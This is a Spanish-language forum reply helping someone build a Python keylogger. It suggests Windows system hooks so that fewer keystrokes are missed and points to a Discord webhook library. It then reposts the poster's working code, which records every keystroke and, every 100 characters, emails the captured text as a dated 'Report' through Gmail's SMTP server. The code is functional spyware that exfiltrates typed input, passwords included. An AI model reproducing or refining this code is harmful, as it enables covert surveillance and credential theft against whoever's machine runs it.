Buenos dias,
Estás usando ¿Python? ( o al menos eso creo
). No sé que funciones de Windows usa la libreria que usas para detectar teclas, pero en caso de que no use las funciones de hook del sistema puede que se te escapen muchísimas teclas
Capaz le puedes hechar un ojo y ver a que funciones llama.
Por otro lado creo que tienes la documentación necesaria aquí (En caso de que sea Python) referente a Discord_WebHook:
https://pypi.org/project/Discord-Webhooks/Windows hook:
https://docs.microsoft.com/en-us/windows/win32/winmsg/hooksEspero haberte ayudado en algo.
PD: Por favor utiliza las etiquetas de código para los códigos, los hacen mas leibles, fijate la diferencia.
import keyboard as key
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import datetime
Text = ""
while True:
Recorded = str(key.read_event())
if Recorded.__contains__('up'):
Recorded = Recorded.replace('KeyboardEvent(', '')
Recorded = Recorded.replace(' up)', '')
if (len(Recorded)>1):
Text = Text + " " + Recorded + " "
else:
Text = Text + Recorded
if (len(Text)>=100):
try:
msg = MIMEMultipart()
password=""
msg['From']=""
msg['To']=""
msg['Subject']="Report "+ str(datetime.datetime.now().date())
msg.attach(MIMEText(Text, 'plain'))
server = smtplib.SMTP('smtp.gmail.com: 587')
server.starttls()
server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
Text=""
except:
print("Error")